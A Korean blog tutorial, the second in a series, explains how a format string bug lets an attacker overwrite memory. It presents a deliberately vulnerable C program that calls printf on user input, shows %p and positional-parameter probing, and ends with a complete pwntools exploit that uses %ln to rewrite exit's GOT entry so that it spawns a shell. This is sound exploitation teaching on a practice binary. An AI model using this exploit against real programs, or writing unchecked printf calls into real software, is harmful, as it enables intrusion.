[Format String Bug] 포맷스트링 버그 (fsb) - 2
포맷스트링 버그 2차시입니다 ㅎㅎ
저번시간에는 포맷스트링버그의 기본적인 원리를 알아보았습니다.
이번에는 포맷스트링으로 메모리값을 변조하는 법을 알아보겠습니다.
바이너리 파일 하나를 한번 볼까요?
#include <stdio.h>
#include <stdlib.h>
void shell();
int main() {
char buf[100];
int len;
read(0, buf, 100);
printf(buf);
exit(0);
}
void shell() {
system("/bin/sh");
}
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
이 프로그램은 BOF
로 Exploit 하는것이 불가능합니다.
그러니 FSB(Format String Bug)
를 이용해 Exploit 해보겠습니다.
이 프로그램의 취약점은 이곳입니다.
printf(buf);
이곳을 통해 FSB
를 터뜨릴수 있습니다.
그렇다면 어떻게 Exploit을 하느냐?
바로 exit함수의 GOT
를 변조하는 방법을 사용하면 됩니다.
Explot 시나리오
FSB
를 이용해스택
을 가리키는 부분을 찾는다.Exit_GOT
를shell
함수로 변조한다.
1. FSB로 스택을 가리키는 부분 탐색.
aaaaaaaa%p%p%p%p%p%p
를 입력해보고 결과를 확인해봅시다.
6번째의 포맷스트링이 buf
의 상위 8바이트
를 가리키고 있는걸 확인할수 있습니다.
그림으로 따져보면 이렇게 되는것이죠.
맨 앞부분에 변조하고자 하는 주소를 넣어줄수 있지만, exit_got
의 주소에 NULL
이 포함되어 있어 출력이 끊기게 됩니다.
이때 사용하는것이 바로 $
파라미터입니다.
이것은 %n$(type)
로 사용합니다.
즉 n
번째 인자를 불러오겠다는 것이죠.
이 파라미터를 사용하는 예시를 보여주겠습니다.
위의 그림에서는 6번째 인자를 통해 buf
의 내용물을 확인 할수 있었습니다.
이때 %6$p
를 하게되면 굳이 포맷스트링을 6개 사용하지 않고 바로 6번째의 인자를 출력해줄수 있습니다.
어때요? 놀랍죠?
2. exit_got
를 shell
함수의 주소로 변조한다.
이번에는 변조하는 방법에 대해 알아보겠습니다.
이럴때 쓰는 포맷스트링이 %n
입니다.
%n
이 가리키는 인자에 지금까지 출력한 수를 넣어줍니다.
방법은 이와 같습니다.
만약 값을 변조하고자 하는 주소가 ????????
이라면
이렇게 출력을 해주면
이렇게 %n
이 ????????
주소에 출력한 byte 수만큼 덮어주게 됩니다.
이렇게 exploit이 가능합니다!
어때요? 정말 놀랍지 않나요???
이제 익스를 보여드리겠습니다.
from pwn import *
p = process('./FSB')
e = ELF('./FSB')
shell = 0x40119F #4198815
exit_got = e.got['exit']
pay = '%4198815c%8$lnaa' + p64(exit_got)
p.send(pay)
p.interactive()
# 여기서 %8lnaa
를 출력한 이유
어? 이상해요! 원래, 바꾸려는걸 앞에다 두지 않았나요ㅠㅠ?
네^^ 일반적으로는 원래 그렇죠 ㅎㅎ
그런데 64bit
환경에서는 got
에 NULL
이 포함되어있기 때문에, 출력할때 끊기는 현상이 벌어집니다.
그래서 맨뒤에 놓은뒤 $
파라미터를 이용해 익스를 하였습니다.
혹시 잘 이해가 잘 되시지 않을까봐 그림을 넣어 두겠습니다 ㅎㅎ
위의 익스를 스택으로 표현을 해보면 이렇게 됩니다.
즉, 8번째의 인자가 가리키는 곳이 우리가 변조하려던 주소가 있는곳이죠.
그리고 마지막에 aa
를 넣은이유는 남은 8byte
를 맞추어주기 위해서 입니다 ^^
자 이제 FSB 2탄을 보셨습니다 후우...
다음 3탄에서는 포맷스트링 버그에서 이용가능한 여러 테크닉을 소개해 드리겠습니다^^
감사합니다 ㅎㅎ